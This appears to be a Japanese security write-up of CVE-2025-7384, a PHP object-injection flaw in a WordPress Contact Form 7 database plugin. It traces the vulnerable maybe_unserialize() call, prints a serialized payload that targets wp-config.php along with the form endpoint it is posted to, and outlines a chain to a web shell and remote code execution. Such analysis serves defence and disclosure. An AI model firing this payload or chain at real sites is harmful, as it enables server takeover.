
プラグイン: Database for Contact Form 7 (contact-form-entries) ≤ 1.4.3
CVSS: 9.8(重大)
CWE: CWE-502 — 信頼できないデータのデシリアライゼーション
認証要件: なし(未認証)
影響: リモートコード実行
「Database for Contact Form 7」プラグイン(スラッグ: contact-form-entries)バージョン1.4.3以下には、PHPオブジェクトインジェクションの脆弱性が存在します。WordPress管理者が管理パネル内でフォームレコード(エントリ)を閲覧すると、このプラグインは、Contact Form 7を介して未認証ユーザーが送信したデータに対して、インスタンス化を許可するクラスのリストを制御せずに、maybe_unserialize() 関数を直接呼び出します。
攻撃者はログインする必要はありません。通常の問い合わせフォームを送信するだけで、シリアライズされたPHPオブジェクトを任意のフォームフィールドに挿入できます。このデータはデータベースに生のまま保存されます。管理者がそのエントリを開いて閲覧すると、デシリアライゼーション関数が攻撃者の選択したオブジェクトをインスタンス化し、__destruct() や __wakeup() などのマジックメソッドをトリガーして、WordPress環境で利用可能なPOPガジェットに応じて任意の動作を実行します。
重大度レベル: 適切なPOPガジェット(例えば
__destruct()メソッドがunlink()を呼び出すクラス)があれば、攻撃者はwp-config.phpファイルを削除し、WordPressを初期インストール画面に戻すことができます → 攻撃者が制御する管理者アカウントで再インストール → ウェブシェルを含むプラグインをインストール → サーバー上で完全なリモートコード実行(RCE)を達成します。
| 属性 | 値 |
|---|---|
| CVE ID | CVE-2025-7384 |
| CVSSスコア | 9.8(重大) |
| CWE | CWE-502 — 信頼できないデータのデシリアライゼーション |
| 影響を受けるプラグイン | contact-form-entries (Database for Contact Form 7) ≤ 1.4.3 |
| 認証要件 | なし — CF7フォームを送信する誰でもペイロードを注入可能 |
| トリガー条件 | 管理者が管理パネルで注入されたエントリを閲覧する |
| 最大の影響 | 未認証のリモートコード実行 |
| パッチ適用済みバージョン | 1.4.4+(unserialize を json_decode または allowed_classes: false に置き換え) |
PHPは serialize() を使用してオブジェクトを構造化されたテキスト文字列に変換し、unserialize() を使用してその文字列からオブジェクトを復元します。unserialize() が信頼できないソース(例: ユーザー入力)からのデータを受け取ると、攻撃者はその時点でPHPメモリにロードされている任意のクラスに属する任意のオブジェクトを構築できます。
PHPがオブジェクトのライフサイクル中に自動的に呼び出す特別なメソッドです。この文脈で最も重要なもの:
__wakeup() — オブジェクトがアンシリアライズされた直後に呼び出される__destruct() — オブジェクトが破棄される(スコープから外れる、またはリクエストが終了する)ときに呼び出される__toString() — オブジェクトが文字列にキャストされるときに呼び出されるアプリケーション内の既存クラスから複数のマジックメソッドを連鎖させて、危険な一連の動作を構築する手法です。攻撃者は新しいコードを書くわけではなく、既存オブジェクトのプロパティを操作するだけで、マジックメソッドが実行されたときに開発者が意図しないアクションを実行させます。
maybe_unserialize()WordPress Coreのラッパー関数です。is_serialized() を呼び出して文字列がシリアライズされたデータかどうかを確認し、真であれば unserialize() を呼び出してオブジェクトを復元します。問題: この関数は、インスタンス化を許可するクラスを制限するための allowed_classes パラメータ(PHP 7.0以降で利用可能)を渡していません。
まず、プラグインのソースコード全体をgrepしてデシリアライゼーション関数を特定します。これらはPHPで最も危険な関数であり、オブジェクトインジェクションにつながる可能性があります:
grep -rn "unserialize" wp-src/wp-content/plugins/contact-form-entries/

出力から、maybe_unserialize() の複数の呼び出し箇所が明らかになります。特に includes/data.php の545行目、verify_val() 関数内です:

// data.php lines 538-548
public function verify_val($string){
if(in_array(substr(ltrim($string),0,1), array('{','['))
&& in_array(substr(rtrim($string),-1), array('}',']'))
){
$val = json_decode($string, 1);
if(is_array($val)){ $string = $val; }
} else if(is_serialized($string)){ // line 544
$string = maybe_unserialize($string); // ★ line 545 — SINK
}
return $string;
}
重要な疑問: $string 変数はどこから来るのか? フィルタリングされずにユーザー入力から来る場合 → これは脆弱性です。
verify_val() がどこで呼び出されているかを探します。同じ data.php ファイル内を逆方向にトレースします:

// data.php lines 520-535
public function get_lead_detail($lead_id){
global $wpdb;
$table = $wpdb->prefix . 'vxcf_leads_detail';
$detail_arr = $wpdb->get_results(
$wpdb->prepare("SELECT * FROM $table WHERE lead_id=%d", $lead_id),
ARRAY_A
);
foreach($detail_arr as $k => $v){
if(!empty($v['value'])){
$detail_arr[$k]['value'] = $this->verify_val($v['value']); // ← calls verify_val
}
}
return $detail_arr;
}
→ $string はまさに $v['value'] — wp_vxcf_leads_detail データベーステーブルから取得された値です。この関数は、管理者がフォームエントリの詳細を閲覧するときに呼び出されます。
次の疑問: wp_vxcf_leads_detail 内のデータはどこから来るのか? 誰が書き込むのか?
ステップ2から、データがデータベースから取得されることが分かっています。次の疑問: 誰がそこにデータを書き込むのか? data.php 内でINSERTクエリを検索します:
grep -rn "insert" wp-src/wp-content/plugins/contact-form-entries/includes/data.php

詳細は create_lead() 関数のコード(85〜103行目)を参照してください:

98〜99行目で、フォームフィールド(例: your-message)の内容である値 $v が、$wpdb->insert() によってデータベースに直接挿入されます。プラグインはContact Form 7の wpcf7_before_send_mail イベントにフックしているため、ユーザーがフォームを送信するたびに、すべてのフィールドが生のまま保存されます。
追加確認: プラグインは保存前に sanitize_text_field() と sanitize_textarea_field() を使用していますが、これら2つの関数はHTMLタグと特殊HTML文字を除去するだけです。O:21:"VulnerableFileHandler":2:{...} のようなシリアライズされたペイロードにはHTMLタグが含まれていないため、完全にそのまま通過します。
この時点で、完全なフローが確立されました:
Unauthenticated user submits CF7 form (your-message field contains serialized object)
↓ sanitize_text_field() — DOES NOT block serialized strings
Saved into wp_vxcf_leads_detail table (raw payload)
↓
Admin views entry → get_lead_detail() → verify_val()
↓ is_serialized() returns true
maybe_unserialize($string) — line 545 → PHP instantiates arbitrary object
↓
Object's __destruct() executes → performs attacker-controlled action
根本原因:
data.php:545のmaybe_unserialize()関数が、未認証ユーザー入力に由来するデータに対して、allowed_classes: falseを渡さずに呼び出されています。攻撃者はCF7フォームのyour-messageフィールドにシリアライズされたPHPオブジェクトを送信するだけで、管理者がエントリを閲覧すると、PHPがそのオブジェクトをインスタンス化して__destruct()マジックメソッドをトリガーします。
視覚的な証明として、Xdebugを使用して data.php の545行目にブレークポイントを設定します。フォームを介してペイロードを注入し、管理者にエントリを閲覧させた後、デバッガは正確に maybe_unserialize() で一時停止します:

変数パネルには、攻撃者のペイロードを保持する $string が表示されます:
$string = "O:21:\"VulnerableFileHandler\":2:{s:9:\"file_path\";s:27:\"/var/www/html/wp-config.php\";s:7:\"cleanup\";b:1;}" → ペイロードはフォーム → データベース → デシリアライゼーション関数へ、ブロックされることなく到達しました実行行:
$string=maybe_unserialize($string);コールスタックは関数呼び出しのシーケンスを示しています:
vxcf_form_data->verify_val data.php:545
vxcf_form_data->get_entries data.php:388
vxcf_form::get_entries contact-form-entries.php:2682
vxcf_form_pages->entries_page plugin-pages.php:1017
...
WP_Hook->apply_filters class-wp-hook.php:324
WP_Hook->do_action class-wp-hook.php:348
→ 分析した正確なフローが確認されます: 管理者がエントリを閲覧 → get_entries() → verify_val() → maybe_unserialize()。
攻撃チェーンは5つのステージで構成されます。攻撃者が実行する必要があるのはステージ1(フォーム送信)だけです。ステージ2〜5は、管理者がエントリを閲覧した後に自動的に発生します。
攻撃者は、メッセージフィールドにシリアライズされたPHPオブジェクトを含むCF7フォームを送信します。
POST /wp-json/contact-form-7/v1/contact-forms/{id}/feedbackyour-message に含まれる値: O:21:"VulnerableFileHandler":2:{s:9:"file_path";s:27:"/var/www/html/wp-config.php";s:7:"cleanup";b:1;}wp_vxcf_leads_detail テーブルに保存 — sanitize_text_field() はシリアライズされた文字列をブロックしない